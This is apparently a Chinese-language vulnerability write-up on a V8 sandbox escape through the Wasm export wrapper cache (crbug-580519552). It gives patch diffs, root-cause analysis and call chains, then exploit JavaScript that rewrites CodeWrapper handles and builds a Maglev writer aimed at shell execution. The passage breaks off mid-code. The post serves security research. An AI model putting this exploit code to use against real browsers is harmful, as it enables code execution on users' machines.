在做了两个cage内读写的漏洞,作者决定把目光转向v8沙箱堆逃逸(注:这里有一个混淆点,v8沙箱堆逃逸成功拿到的是渲染进程的rce而不是直接完成浏览器沙箱的逃逸,后者需要结合其它漏洞比如内核提权),但发现v8最近披露的CVE漏洞都是cage内读写,所以选择了这个刚修复不久(11月3日修复)还没合并入稳定版披露CVE的漏洞进行研究。本文记录了对该漏洞的根因分析、POC 构造、利用思路以及最终rce的完整实践过程

简介

受影响产品

Google Chrome 及其他产品内置的 V8 JS 引擎

Bug ID

crbug-580519552

修复 commit

273e2fa0bc8(2026-11-03,main@111595,V8 15.9 开发线)

补丁链接

v8/v8 +8714722

漏洞类型

V8 sandbox escape(信任边界错误),非堆内存破坏

影响版本

V8 15.6 / 15.7 / 15.8(截至 2026-11-13 的 release 分支均未 cherry-pick;15.9 起包含修复)

背景

2.1 cage 内一律不可信

V8 sandbox 把 JS 可达的堆对象放在一个 4GB 的指针压缩 cage 里,所有引用都是 32 位偏移。安全模型只有一句话:

cage 内的内容全部默认可被攻击者读写

所以凡是"cage 内的数据决定 trusted 行为"的设计,都必须假设数据已被篡改。V8 的对策是把 Code 这类对象和它们的表放在攻击者够不到的区域(trusted space / 各种指针表),cage 里只留 handle

2.2 CodeWrapper:cage 内的 trusted handle 壳

Code 在 trusted space,cage 内的普通字段不能直接存它的指针,只能存 handle。为了让"沙箱内的数组/结构体也能引用 Code",V8 提供了一个 8 字节的壳:

// A CodeWrapper wraps a Code but lives inside the sandbox. This can be useful
// for example when a reference to a Code needs to be stored along other tagged
// pointers inside an array or similar container datastructure.
V8_OBJECT class CodeWrapper : public Struct {
  V8_IT_NO_AUTO_DISPATCH;

 public:
  DECL_CODE_POINTER_ACCESSORS(code)

  DECL_PRINTER(CodeWrapper)
  DECL_VERIFIER(CodeWrapper)

  class BodyDescriptor;

 public:
  TrustedPointerMember<Code, kCodeIndirectPointerTag> code_;
} V8_OBJECT_END;

DECL_CODE_POINTER_ACCESSORS(code) 展开成 code(IsolateForSandbox) / set_code(...) / has_code() / clear_code()(src/objects/object-macros.h:818-819、:786-788),最终走 TrustedPointerField::ReadTrustedPointerField<kCodeIndirectPointerTag>。成员本身在 sandbox 构建里就是一个 32 位索引:

// src/objects/trusted-pointer.h:137-181
template <typename T, IndirectPointerTagRange kTagRange>
class TrustedPointerMember
#ifndef V8_ENABLE_SANDBOX
    // On non-sandbox builds, TrustedPointerMember is just a TaggedMember with
    // custom accessors, which allows it to be passed to Slots same as a
    // TaggedMember.
    : public TaggedMember<T>
#endif
{
 public:
  constexpr TrustedPointerMember() = default;
  inline TrustedPointerMember(const AllocationWitness& witness,
                              Tagged<T> value);
  inline TrustedPointerMember(const AllocationWitness& witness, Tagged<T> value,
                              WriteBarrierMode mode);

  inline Tagged<T> load(IsolateForSandbox isolate) const;
  inline Tagged<Object> load_maybe_empty(IsolateForSandbox isolate) const;
  inline void store(HeapObject* host, Tagged<T> value,
                    WriteBarrierMode mode = UPDATE_WRITE_BARRIER);
  inline void store_no_write_barrier(HeapObject* host, Tagged<T> value);

  inline Tagged<T> Acquire_Load(IsolateForSandbox isolate) const;
  inline Tagged<Object> Acquire_Load_maybe_empty(
      IsolateForSandbox isolate) const;
  inline void Release_Store(HeapObject* host, Tagged<T> value,
                            WriteBarrierMode mode = UPDATE_WRITE_BARRIER);
  inline void Release_Store_no_write_barrier(HeapObject* host, Tagged<T> value);

  inline bool is_empty() const;
  inline bool is_unpublished(IsolateForSandbox isolate) const;
  inline void clear(HeapObject* host);

 private:
#ifdef V8_ENABLE_SANDBOX
  friend class IndirectPointerSlot;

  inline Address storage_address() const;

  std::atomic<IndirectPointerHandle> handle_{kNullIndirectPointerHandle};
#else
  using Base = TaggedMember<T>;
#endif
};

using CodePointerMember = TrustedPointerMember<Code, kCodeIndirectPointerTag>;
// include/v8-internal.h:897-898
// An IndirectPointerHandle represents a 32-bit index into a pointer table.
using IndirectPointerHandle = uint32_t;

Struct 自身不新增任何字段:

// src/objects/struct.h:20-35
// An abstract superclass, a marker class really, for simple structure classes.
// It doesn't carry any functionality but allows struct classes to be
// identified in the type system.
V8_OBJECT class Struct : public HeapObject {
  V8_IT_ABSTRACT;

 public:
  using HeapObject::HeapObject;

  void BriefPrintDetails(std::ostream& os);

  using BodyDescriptor = StructBodyDescriptor;
} V8_OBJECT_END;
static_assert(sizeof(Struct) == sizeof(HeapObject));

所以布局就是两个字:+0 = map,+4 = code_(4 字节 TrustedPointerHandle,实测 index << 9,tag 存在表项里)。CodeWrapper 在 cage 内,所以 +4 可被 in-cage 写改掉

2.3 wasm 导出函数与 wrapper 缓存

instance.exports.f 是一个 JSFunction,它的 Code 是一段 JS-to-Wasm wrapper:把 JS 调用约定转成 wasm 的参数寄存器布局,再跳到 wasm 函数体

wrapper 有两种:通用 builtin Builtin::kJSToWasmWrapper(任何签名都能用),以及按 canonical signature 专门编译的 CodeKind::JS_TO_WASM_FUNCTION。后者被 WasmExportWrapperCache 按 canonical sig index 缓存。这个缓存不是纯优化:一旦缓存里有条目,新建实例的导出函数会直接使用缓存里的 Code

2.4 JSDispatchTable

JSFunction 不存 Code 指针,只存一个 JSDispatchHandle。安装新代码时要过一道沙箱校验:

// src/sandbox/js-dispatch-table-inl.h:194-219
std::optional<JSDispatchHandle> JSDispatchTable::TryAllocateAndInitializeEntry(
    Space* space, uint16_t parameter_count, Tagged<Code> new_code) {
  DCHECK(space->BelongsTo(this));
  // Disabled builtins should be replaced with the kIllegal by the caller.
  // This DCHECK is just for convenience, next SBXCHECK(IsCompatibleCode())
  // will catch disabled builtins anyway.
  DCHECK(!new_code->is_disabled_builtin());
  DCHECK_NE(new_code->instruction_start(), kNullAddress);
  SBXCHECK(IsCompatibleCode(new_code, parameter_count));

#ifdef V8_ENABLE_GENERATED_CODE_VALIDATOR
  CHECK(GeneratedCodeValidator::IsValidated(new_code));
#endif  // V8_ENABLE_GENERATED_CODE_VALIDATOR

  uint32_t index;
  if (auto maybe_index = TryAllocateEntry(space)) {
    index = *maybe_index;
  } else {
    return {};
  }
  JSDispatchEntry& entry = at(index);
  CFIMetadataWriteScope write_scope("JSDispatchTable initialize");
  entry.MakeJSDispatchEntry(new_code.address(), new_code->instruction_start(),
                            parameter_count, space->allocate_black());
  return IndexToHandle(index);
}
// src/sandbox/js-dispatch-table-inl.h:401-436
// LINT.IfChange(IsCompatibleCode)
// static
bool JSDispatchTable::IsCompatibleCode(Tagged<Code> code,
                                       uint16_t parameter_count) {
  if (code->entrypoint_tag() != kJSEntrypointTag) {
    // Target code doesn't use JS linkage. This cannot be valid.
    return false;
  }
  DCHECK_IMPLIES(code->is_builtin(),
                 Builtins::HasJSLinkage(code->builtin_id()));

  if (code->parameter_count() == parameter_count) {
    DCHECK_IMPLIES(code->is_builtin(),
                   parameter_count ==
                       Builtins::GetFormalParameterCount(code->builtin_id()));
    // Dispatch entry and code have the same signature. This is correct.
    return true;
  }

  // Signature mismatch. This is mostly not safe, except for certain varargs
  // builtins which are able to correctly handle such a mismatch. Examples
  // include builtins like the InterpreterEntryTrampoline or the JSToWasm and
  // JSToJS wrappers which determine their actual parameter count at runtime
  // (see CodeStubAssembler::SetSupportsDynamicParameterCount()), or internal
  // builtins that end up tailcalling into other code such as CompileLazy.
  //
  // Currently, we also allow this for testing code (from our test suites).
  // TODO(saelo): maybe we should also forbid this just to be sure.
  if (code->kind() == CodeKind::FOR_TESTING_JS) {
    return true;
  }
  DCHECK(code->is_builtin());
  DCHECK_EQ(code->parameter_count(), kDontAdaptArgumentsSentinel);
  return Builtins::IsJSTrampoline(code->builtin_id());
}
// LINT.ThenChange(/src/builtins/builtins-inl.h:IsCompatibleJSBuiltin)

它只校验入口 tag 是 JS 入口、参数个数相等,不校验"这个 Code 是不是 wasm wrapper",至于这有什么用呢?后续会提到

逆向补丁

3.1 改动范围

src/heap/heap-inl.h                               |   3 +-
src/heap/heap.h                                   |   2 +-
src/heap/setup-heap-internal.cc                   |   5 +-
src/roots/roots.h                                 |  86 +++++++-------
src/runtime/runtime-wasm.cc                       |   9 +-
src/snapshot/snapshot.cc                          |   2 +-
src/wasm/canonical-types.cc                       |   3 +-
src/wasm/wasm-export-wrapper-cache.cc             |  71 ++++++-----
src/wasm/wasm-export-wrapper-cache.h              |  30 ++---
src/wasm/wasm-objects.cc                          |   7 +-
test/common/wasm/fuzzer-common.cc                 |   2 +-
test/mjsunit/mjsunit.status                       |   1 +
test/mjsunit/sandbox/regress/regress-580519552.js | 131 ++++++++++++++++++++++
test/unittests/objects/roots-unittest.cc          |   1 -
test/unittests/wasm/run-wasm-wrappers-unittest.cc |  20 ++--
15 files changed, 258 insertions(+), 115 deletions(-)

3.2 commit message

它把攻击路径说得很直白:实例化和 wrapper tier-up 两个时机,缓存条目会被装进 JSDispatchTable

3.3 关键 diff

修复前漏洞代码:

核心只有三处,都在src/wasm/wasm-export-wrapper-cache.cc :

// 15.7 pre-fix, cache.cc:14-33
DirectHandle<WeakFixedArray> WasmExportWrapperCache::New(Isolate* isolate,
                                                         uint32_t capacity) {
  ...
  DirectHandle<WeakFixedArray> cache =
      WeakFixedArray::New(isolate, capacity, AllocationType::kOld,
                          direct_handle(Smi::FromInt(kUnused), isolate));
  ...
}

void WasmExportWrapperCache::Put(Isolate* isolate, CanonicalTypeIndex sig_index,
                                 DirectHandle<Code> code) {
  Tagged<WeakFixedArray> cache = EnsureCapacity(isolate);
  PutInternal<true>(cache, hash, code->wrapper());   // ← 存进 cage 内的 CodeWrapper
}

Tagged<CodeWrapper> WasmExportWrapperCache::Get(Isolate* isolate,
                                                CanonicalTypeIndex sig_index) {
  Tagged<WeakFixedArray> cache = isolate->heap()->js_to_wasm_wrappers();
  ...
  return Cast<CodeWrapper>(value.GetHeapObjectAssumeWeak());  // ← 返回 cage 内对象
}

消费端再把它解成 Code:

// wasm-objects.cc:1822-1836(GetWrapper)
Tagged<CodeWrapper> entry =
    wasm::WasmExportWrapperCache::Get(isolate, sig->index());
if (!entry.is_null()) {
  return direct_handle(entry->code(isolate), isolate);  // ← 读 CodeWrapper+4
}
// runtime-wasm.cc:504-509(tier-up)
Tagged<CodeWrapper> maybe_cached_wrapper =
    wasm::WasmExportWrapperCache::Get(isolate, sig_id);
if (!maybe_cached_wrapper.is_null()) {
  wrapper_code = maybe_cached_wrapper->code(isolate);
}

其实旧代码的注释已经写出了错误的信任假设:"the cache itself is untrusted, but calls through the wrappers are protected by our regular signature verification scheme" ——签名校验只保证“签名一致”,不保证“CodeWrapper 里的 handle 没被改”

核心修复代码:

// origin/main, cache.cc:14-28
DirectHandle<ProtectedWeakFixedArray> WasmExportWrapperCache::New(
    Isolate* isolate, uint32_t capacity) {
  ...
  DirectHandle<ProtectedWeakFixedArray> cache =
      ProtectedWeakFixedArray::New(isolate, capacity);
  ...
}
// origin/main, cache.cc:31-37
void WasmExportWrapperCache::Put(Isolate* isolate, CanonicalTypeIndex sig_index,
                                 DirectHandle<Code> code) {
  DCHECK_EQ(code->kind(), CodeKind::JS_TO_WASM_FUNCTION);
  Tagged<ProtectedWeakFixedArray> cache = EnsureCapacity(isolate);
  PutInternal<true>(cache, hash, MakeWeak(*code));   // ← 直接存 Weak<Code>
}
// origin/main, cache.cc:40-62
Tagged<Code> WasmExportWrapperCache::Get(Isolate* isolate,
                                         CanonicalTypeIndex sig_index) {
  Tagged<ProtectedWeakFixedArray> cache =
      isolate->heap()->js_to_wasm_wrappers();
  ...
  return TrustedCast<Code>(value.GetHeapObjectAssumeWeak());  // ← 直接返回 trusted Code
}

一句话概括修复:

把缓存从“cage 内的WeakFixedArray<Weak<CodeWrapper>> ”改成“trusted space 的ProtectedWeakFixedArray<Weak<Code>> ”,并删掉CodeWrapper 这一层间接。

这样攻击者能改的只剩缓存里的弱引用本身(而且它在 trusted space);即使把弱引用改成别的对象,TrustedCast<Code> 也会在 trusted 侧校验类型,不再存在“cage 内的 4 字节决定执行哪段 Code”的路径

源码定位与调用链

4.1 缓存对象

js_to_wasm_wrappers 是 Heap 上的 root,初始值是空 WeakFixedArray:

// src/roots/roots.h:478-480
  V(HeapObject, locals_block_list_cache, DebugLocalsBlockListCache)         \
  IF_WASM(V, WeakFixedArray, js_to_wasm_wrappers, JSToWasmWrappers)         \
  IF_WASM(V, WeakFixedArray, wasm_canonical_rtts, WasmCanonicalRtts)        \
// src/heap/setup-heap-internal.cc:1494-1498
#ifdef V8_ENABLE_WEBASSEMBLY
  set_js_to_wasm_wrappers(roots.empty_weak_fixed_array());
  set_wasm_canonical_rtts(roots.empty_weak_fixed_array());
  set_wasm_shared_canonical_rtts(roots.empty_weak_fixed_array());
#endif  // V8_ENABLE_WEBASSEMBLY

布局:kReservedSlots = 1(第 0 槽存 used 计数),每项 kSlotsPerEntry = 2(key 是 Smi(hash),value 是 weak 引用),hash 直接等于 canonical sig index

4.2 写入路径

// src/wasm/function-compiler.cc:225-249
DirectHandle<Code> JSToWasmWrapperCompilationUnit::Finalize() {
#if V8_ENABLE_DRUMBRAKE
  if (v8_flags.wasm_jitless) {
    return isolate_->builtins()->code_handle(
        Builtin::kJSToWasmInterpreterWrapper);
  }
#endif  // V8_ENABLE_DRUMBRAKE

  CompilationJob::Status status = job_->FinalizeJob(isolate_);
  CHECK_EQ(status, CompilationJob::SUCCEEDED);
  OptimizedCompilationInfo* info =
      static_cast<compiler::turboshaft::TurboshaftCompilationJob*>(job_.get())
          ->compilation_info();
  DirectHandle<Code> code = info->code();
  if (isolate_->IsLoggingCodeCreation()) {
    DirectHandle<String> name = isolate_->factory()->NewStringFromAsciiChecked(
        info->GetDebugName().get());
    PROFILE(isolate_, CodeCreateEvent(LogEventListener::CodeTag::kStub,
                                      Cast<AbstractCode>(code), name));
  }
  // Install the compiled wrapper in the cache now.
  WasmExportWrapperCache::Put(isolate_, sig_->index(), code);
  Counters* counters = isolate_->counters();
  counters->wasm_generated_code_size()->Increment(code->body_size());
  counters->wasm_reloc_size()->Increment(code->relocation_size());
  counters->wasm_compiled_export_wrapper()->Increment(1);
  return code;
}

Put 存的是 code->wrapper(),即 Code 对应的 CodeWrapper

4.3 读取路径 A:实例化导出函数

// src/wasm/wasm-objects.cc:1709-1722
V8_INLINE DirectHandle<WasmExportedFunction> CreateExportedFunction(
    Isolate* isolate, int function_index, DirectHandle<WasmFuncRef> func_ref,
    DirectHandle<WasmInternalFunction> internal_function,
    DirectHandle<WasmTrustedInstanceData> trusted_instance_data) {
  DCHECK_EQ(func_ref->internal(isolate), *internal_function);

  const wasm::CanonicalSig* sig = internal_function->sig();
  DirectHandle<Code> wrapper_code =
      WasmExportedFunction::GetWrapper(isolate, sig);
  int arity = static_cast<int>(sig->parameter_count());
  return WasmExportedFunction::New(isolate, trusted_instance_data, func_ref,
                                   internal_function, arity, wrapper_code,
                                   function_index, wasm::kNoPromise);
}
// src/wasm/wasm-objects.cc:1822-1849
// static
DirectHandle<Code> WasmExportedFunction::GetWrapper(
    Isolate* isolate, const wasm::CanonicalSig* sig) {
#if V8_ENABLE_DRUMBRAKE
  if (v8_flags.wasm_jitless) {
    return isolate->builtins()->code_handle(
        Builtin::kJSToWasmInterpreterWrapper);
  }
#endif  // V8_ENABLE_DRUMBRAKE
  Tagged<CodeWrapper> entry =
      wasm::WasmExportWrapperCache::Get(isolate, sig->index());
  if (!entry.is_null()) {
    return direct_handle(entry->code(isolate), isolate);
  }
  if (wasm::CanUseGenericJsToWasmWrapper(sig)) {
    if (v8_flags.stress_wasm_stack_switching) {
      return isolate->builtins()->code_handle(Builtin::kWasmStressSwitch);
    }
    return isolate->builtins()->code_handle(Builtin::kJSToWasmWrapper);
  }
  // Otherwise compile a wrapper.
  DirectHandle<Code> compiled =
      wasm::JSToWasmWrapperCompilationUnit::CompileJSToWasmWrapper(isolate,
                                                                   sig);
  // This should have added an entry in the per-isolate cache.
  DCHECK_EQ(compiled->wrapper(),
            wasm::WasmExportWrapperCache::Get(isolate, sig->index()));
  return compiled;
}

关键就是 entry->code(isolate):缓存命中的是 CodeWrapper,真正被使用的 Code 从它的 +4 解出来

4.4 读取路径 B:tier-up

// src/runtime/runtime-wasm.cc:487-549
RUNTIME_FUNCTION(Runtime_TierUpJSToWasmWrapper) {
  DCHECK_EQ(1, args.length());

  // Avoid allocating a HandleScope and handles on the fast path.
  Tagged<WasmExportedFunctionData> function_data =
      SbxCast<WasmExportedFunctionData>(TrustedCast<TrustedObject>(args[0]));
  Tagged<WasmTrustedInstanceData> trusted_data = function_data->instance_data();

  const wasm::WasmModule* module = trusted_data->module();
  const int function_index = function_data->function_index();
  const wasm::WasmFunction& function = module->functions[function_index];
  const wasm::CanonicalTypeIndex sig_id =
      module->canonical_sig_id(function.sig_index);
  const wasm::CanonicalSig* sig =
      wasm::GetTypeCanonicalizer()->LookupFunctionSignature(sig_id);

  Tagged<CodeWrapper> maybe_cached_wrapper =
      wasm::WasmExportWrapperCache::Get(isolate, sig_id);
  Tagged<Code> wrapper_code;
  if (!maybe_cached_wrapper.is_null()) {
    wrapper_code = maybe_cached_wrapper->code(isolate);
  } else {
    // Set the context on the isolate and open a handle scope for allocation of
    // new objects. Wrap {trusted_data} in a handle so it survives GCs.
    DCHECK(isolate->context().is_null());
    isolate->set_context(trusted_data->native_context());
    HandleScope scope(isolate);
    DirectHandle<WasmTrustedInstanceData> trusted_data_handle{trusted_data,
                                                              isolate};
    DirectHandle<Code> new_wrapper_code =
        wasm::JSToWasmWrapperCompilationUnit::CompileJSToWasmWrapper(isolate,
                                                                     sig);

    // Compilation must have installed the wrapper into the cache.
    DCHECK_EQ(new_wrapper_code->wrapper(),
              wasm::WasmExportWrapperCache::Get(isolate, sig_id));

    // Reset raw pointers still needed outside the slow path.
    wrapper_code = *new_wrapper_code;
    trusted_data = *trusted_data_handle;
    function_data = {};
  }

  // Replace the wrapper for the function that triggered the tier-up.
  // This is to ensure that the wrapper is replaced, even if the function
  // is implicitly exported and is not part of the export_table.
  ReplaceJSToWasmWrapper(isolate, trusted_data, function_index, wrapper_code);

  // Iterate over all exports to replace eagerly the wrapper for all functions
  // that share the signature of the function that tiered up.
  for (wasm::WasmExport exp : module->export_table) {
    if (exp.kind != wasm::kExternalFunction) continue;
    int index = static_cast<int>(exp.index);
    if (index == function_index) continue;  // Already replaced.
    const wasm::WasmFunction& exp_function = module->functions[index];
    if (module->canonical_sig_id(exp_function.sig_index) != sig_id) {
      continue;  // Different signature.
    }
    ReplaceJSToWasmWrapper(isolate, trusted_data, index, wrapper_code);
  }

  return ReadOnlyRoots(isolate).undefined_value();
}
// src/runtime/runtime-wasm.cc:472-485
void ReplaceJSToWasmWrapper(
    Isolate* isolate, Tagged<WasmTrustedInstanceData> trusted_instance_data,
    int function_index, Tagged<Code> wrapper_code) {
  Tagged<WasmFuncRef> func_ref;
  // Always expect a func_ref. If this fails, we are maybe compiling a wrapper
  // for the start function. This function is only called once, so this should
  // not happen.
  CHECK(trusted_instance_data->try_get_func_ref(function_index, &func_ref));
  Tagged<JSFunction> external_function;
  CHECK(func_ref->internal(isolate)->try_get_external(&external_function));
  CHECK(external_function->shared()->HasWasmExportedFunctionData(isolate));
  external_function->UpdateCode(isolate, wrapper_code);
}

这条路径同样把 CodeWrapper 里的 handle 当结果用;区别是它最终走 ReplaceJSToWasmWrapper → JSFunction::UpdateCode

4.5 调用链

编译:JSToWasmWrapperCompilationUnit::Finalize()        function-compiler.cc:225
        → WasmExportWrapperCache::Put()                  wasm-export-wrapper-cache.cc:28
        → cache[idx+1] = MakeWeak(code->wrapper())       :135

实例化:CreateExportedFunction()                         wasm-objects.cc:1709
        → WasmExportedFunction::GetWrapper()             wasm-objects.cc:1822
        → WasmExportWrapperCache::Get()                  wasm-export-wrapper-cache.cc:36
        → entry->code(isolate)                           wasm-objects.cc:1831
        → WasmExportedFunction::New()                    wasm-objects.cc:2884
        → JSFunctionBuilder::Build()                     factory.cc:5424
        → JSDispatchTable::TryAllocateAndInitializeEntry()
        → SBXCHECK(IsCompatibleCode(new_code, parameter_count))

调用:bad(obj) → JSDispatchTable entry → code->instruction_start

根因分析

5.1 信任边界画错了

攻击者只需要在 cage 内找一个 CodeWrapper,把 +4 改成任意 Code 的 handle,就能让下一次 GetWrapper() 返回任意 Code。从"沙箱内 4 字节写"到"决定宿主执行哪段代码"之间,没有任何一道校验

5.2 为什么"签名校验"挡不住

pre-fix 注释把安全寄托在 calls through the wrappers 上。实测那套机制是调用点的签名 hash 比较:

cmpq $0x8000001, 0x8(%r10,%rbx,1)   ; callee WCPT 条目 +8 的 signature_hash
je   ok
int3; ud2
call *(%r10,%rbx)

它保护的是"wrapper 调用 wasm callee"这一步。而该漏洞篡改的是"JSFunction 拿到哪段 Code",也就是说签名校验保证"调用目标签名一致",不保证"这个 Code 是合法的 wrapper"

5.3 触发条件

条件

原因

目标签名必须产生专用 wrapper

通用 kJSToWasmWrapper 不写缓存

触发 tier-up 或已有缓存条目

--wasm-wrapper-tiering-budget=1 让首次调用就把预算打光

替换后要新建实例(或触发 tier-up)

GetWrapper 只在 CreateExportedFunction / ReplaceJSToWasmWrapper 调用

替换的 Code 必须 entrypoint_tag == kJSEntrypointTag

IsCompatibleCode 第一道判断

参数个数必须等于 arity + 1

SBXCHECK(IsCompatibleCode) 第二道判断

5.4 数据流

步骤

数据

位置

谁可写

缓存槽

Weak<CodeWrapper>

cage 内 WeakFixedArray

攻击者

间接层

CodeWrapper.code_

cage 内 Struct+4

攻击者

解析

TrustedPointerHandle → Code

trusted space

引擎

安装

JSDispatchTable entry

trusted 区

引擎(只验 tag/参数数)

执行

code->instruction_start

code range

引擎

5.5 官方回归测试

修复 commit 自带 test/mjsunit/sandbox/regress/regress-580519552.js(131 行),测试本身做五件事:(i32)->i32 导出 tier-up 填缓存 → %OptimizeMaglevOnNextCall 编译 maglev_fn 并从 Map::dependent_code 拿到它的 CodeWrapper → %DeoptimizeFunction → 扫描两个 page 把同 map 的 CodeWrapper.+4 改成 Maglev handle → 新建实例并 bad_f(throwing_obj)

5.6 修复的充分性与遗留

ProtectedWeakFixedArray 在 trusted space,元素是 ProtectedTaggedMember,in-cage 写够不到缓存本身,也够不到元素里的 Code 引用;同时去掉 CodeWrapper 间接层,"缓存 → Code"整条链都在 trusted 侧。这是结构性隔离,不需要在每条调用路径上加校验

没解决的是:CodeWrapper 仍然存在,仍被 Map::dependent_code 等 cage 内结构引用。本 PoC 正是从 dependent_code 读出 Maglev 的 handle 用来定位——"cage 内对象 + trusted handle"这种组合只要还出现在别处,就还是同一类攻击面

环境搭建

复现环境:d8(version:15.7.0)

环境附件:exploit(仅利用程序,运行环境共用CVE-2026-126910这篇文章的,ps:作者亲测该漏洞结合CVE-2026-126910能组成完整利用链,最终在关闭浏览器沙箱的chrome 157.0.8079.0这个版本的浏览器实现访问网页弹出计算器这一经典演示操作,不过由于后续利用链的原因需要带flags去启动chrome,尚未实现跑默认配置的情况下完成利用,感兴趣的师傅可以自行研究)

复现流程: d8直接执行利用程序即可实现RCE

利用分析

--sandbox-testing 提供 cage 内任意读写和 getBuiltinCode,替代真实攻击里的 in-cage 读写漏洞;--wasm-wrapper-tiering-budget=1 让首次调用就填缓存;--maglev-inline-api-calls 放行 422951610 的异常恢复路径

6.1 第一步:构造 writer,再把导出函数换成它

先构造后面要执行的 Maglev writer 和样本对象。PoC 里 writer 的源码是按目标常量拼字符串生成的;展开成本次运行(d=0)就是下面这段:

function dblFromBits(bits) {
  const b = new BigUint64Array([BigInt(bits)]);
  return new Float64Array(b.buffer)[0];
}

// 把宿主地址放进全局 double 的 bits;LANDING 是 gLandingPad 的地址(见 6.5)
let target_float = dblFromBits(LANDING - 0xBn);

function makeObj(valueOf) {
  return {
    f1: 0.0, f2: 2.2, f3: 3.3, f4: 4.4, f5: 5.5,
    f6: 6.6, f7: 7.7, f8: 8.8, f9: 9.9, f10: 10.1,
    f11: 11.2, f12: 12.3, f13: 13.4, f14: 14.5, f15: 15.6,
    u1: 0,
    target_obj: {s0: 1, s1: 1, s2: 1, s3: 1, s4: 1,
                 s5: 1, s6: 1, s7: 1, s8: 1, s9: 1,
                 s10: 1, s11: 1, s12: 1, s13: 1, s14: 1},
    valueOf
  };
}

// 15 个 double 局部变量撑出 0x78;两个 store 是本次运行要写的 dword
function maglev_fn(obj) {
  let v1 = obj.f1 + target_float, v2 = obj.f2 + 2.2, v3 = obj.f3 + 3.3,
      v4 = obj.f4 + 4.4, v5 = obj.f5 + 5.5, v6 = obj.f6 + 6.6,
      v7 = obj.f7 + 7.7, v8 = obj.f8 + 8.8, v9 = obj.f9 + 9.9,
      v10 = obj.f10 + 10.1, v11 = obj.f11 + 11.2, v12 = obj.f12 + 12.3,
      v13 = obj.f13 + 13.4, v14 = obj.f14 + 14.5, v15 = obj.f15 + 15.6;
  let t = obj.target_obj;
  try {
    let num = +obj;
    t.s0 = 0x42ACC740 >> 1;   // Smi 编码后即 0x42ACC740
    t.s4 = 0x00687300 >> 1;   // "sh\0\0"
    return v1+v2+v3+v4+v5+v6+v7+v8+v9+v10+v11+v12+v13+v14+v15+num;
  } catch (err) { return 0; }
}

const sample_obj = makeObj(() => 1.5);
%PrepareFunctionForOptimization(maglev_fn);
maglev_fn(sample_obj);
%OptimizeMaglevOnNextCall(maglev_fn);
maglev_fn(sample_obj);

再换 Code,官方回归测试已经把这一段写好了:(i32)->i32 导出先 tier-up 填缓存,再从 Map::dependent_code 取出 maglev_fn 的 CodeWrapper,扫两个 page 把同 map 的 CodeWrapper.+4 改成它的 handle:

const builder = new WasmModuleBuilder();
builder.addFunction('f', kSig_i_i).exportFunc().addBody([kExprLocalGet, 0]);
const module = builder.toModule();
const inst1 = new WebAssembly.Instance(module);
inst1.exports.f(42);                     // 首次调用,tier-up 填缓存

const mem = new DataView(new Sandbox.MemoryView(0, 0x100000000));
const kMapDependentCodeOffset = 28;
const kWeakArrayListDataOffset = 12;
const kCodeWrapperCodeOffset = 4;
const kSfiOffset = Sandbox.getFieldOffset(
    Sandbox.getInstanceTypeIdFor('JS_FUNCTION_TYPE'), 'shared_function_info');
const fSfi = mem.getUint32(
    Sandbox.getAddressOf(inst1.exports.f) + kSfiOffset, true) & ~3;

const sample_map = mem.getUint32(Sandbox.getAddressOf(sample_obj), true) & ~3;
const dep_code = mem.getUint32(sample_map + kMapDependentCodeOffset, true) & ~3;
if (!dep_code) throw new Error('no dep code');
const dep_len = mem.getUint32(dep_code + 8, true) >>> 1;
if (dep_len !== 1) throw new Error('dep len=' + dep_len);
const maglev_wrapper = mem.getUint32(dep_code + kWeakArrayListDataOffset, true) & ~3;
const code_wrapper_map = mem.getUint32(maglev_wrapper, true);
const maglev_code_handle = mem.getUint32(maglev_wrapper + kCodeWrapperCodeOffset, true);
if (!maglev_code_handle) throw new Error('bad handle');
%DeoptimizeFunction(maglev_fn);

let patched = 0;
for (const page of new Set([fSfi & ~0x3ffff, maglev_wrapper & ~0x3ffff])) {
  for (let a = page; a < page + 0x40000 - 8; a += 4) {
    if (mem.getUint32(a, true) === code_wrapper_map) {
      mem.setUint32(a + kCodeWrapperCodeOffset, maglev_code_handle, true);
      patched++;
    }
  }
}
print('[5] handle=0x' + maglev_code_handle.toString(16) + ' patched=' + patched);

之后新建实例,它的导出函数就是 bad_f,Code 已经是 maglev_fn;调用时传一个 valueOf 会抛异常的对象进去。这一步证明两件事:导出函数确实走了缓存,且 CodeWrapper.+4 被采用;只换 Code 还不够——崩溃点在 Maglev 的写指令,不是"调用即崩"

6.2 第二步:为什么必须是"已标记 + 抛异常"

%DeoptimizeFunction 会调用 Code::SetMarkedForDeoptimization:先置标记,再把函数自己的 dispatch entry 换成 CompileLazy(开 reopt_after_lazy_deopts 时换成 InterpreterEntryTrampoline),清掉 handle,最后按需 zap:

// src/objects/code.cc:176-235
void Code::SetMarkedForDeoptimization(Isolate* isolate,
                                      LazyDeoptimizeReason reason) {
  ......
  JSDispatchHandle handle = js_dispatch_handle();
  if (handle != kNullJSDispatchHandle) {
    JSDispatchTable& jdt = isolate->js_dispatch_table();
    Tagged<Code> cur = jdt.GetCode(handle);
    if (Tagged{this}.SafeEquals(cur)) {
      ......
      jdt.SetCodeNoWriteBarrier(handle, *BUILTIN_CODE(isolate, CompileLazy),
                                isolate);
    }
    // Ensure we don't try to patch the entry multiple times.
    set_js_dispatch_handle(kNullJSDispatchHandle);
  }
  Tagged<ProtectedFixedArray> tmp = deoptimization_data();
  // TODO(422951610): Zapping code discovered a bug in
  // --maglev-inline-api-calls. Remove the flag check here once the bug is
  // fixed.
  if (tmp->ulength().value() > 0 && !v8_flags.maglev_inline_api_calls) {
    Address start = instruction_start();
    Address end = start + deoptimization_data()->DeoptExitStart().value();
    RelocIterator it(instruction_stream(), RelocIterator::kAllModesMask);
    Deoptimizer::ZapCode(start, end, it);
  }
}

从这一刻起 maglev_fn 再也进不到这段代码,但 CodeWrapper.code_ 仍指着它(实测标记前后 handle 不变)——580519552 提供的第二个入口(新建导出函数的 JSDispatchTable 安装路径)不受这个 handle 影响。Zap 是 635b5186cc9 加的兜底:flag 关着时,标记瞬间把 [instruction_start, +DeoptExitStart) 填 int3,只有 开启--maglev-inline-api-calls 这个flag才会豁免

maglev_fn 的 try 里只有 +obj 会抛异常,Handler Table 只有一条:

Handler Table (size = 1)
  offset   handler
     3d6  ->  fffffff

0xFFFFFFF 是 HandlerTable::kLazyDeopt。已标记OptimizedJSFrame::LookupExceptionHandlerInTable 跳过"标记 + deopt",直接把 kLazyDeopt 返回:

// src/execution/frames.cc:3352-3385
int OptimizedJSFrame::LookupExceptionHandlerInTable(
  ......
  if (!code->marked_for_deoptimization()) {
    int optimized_exception_handler = table.LookupReturn(pc_offset);
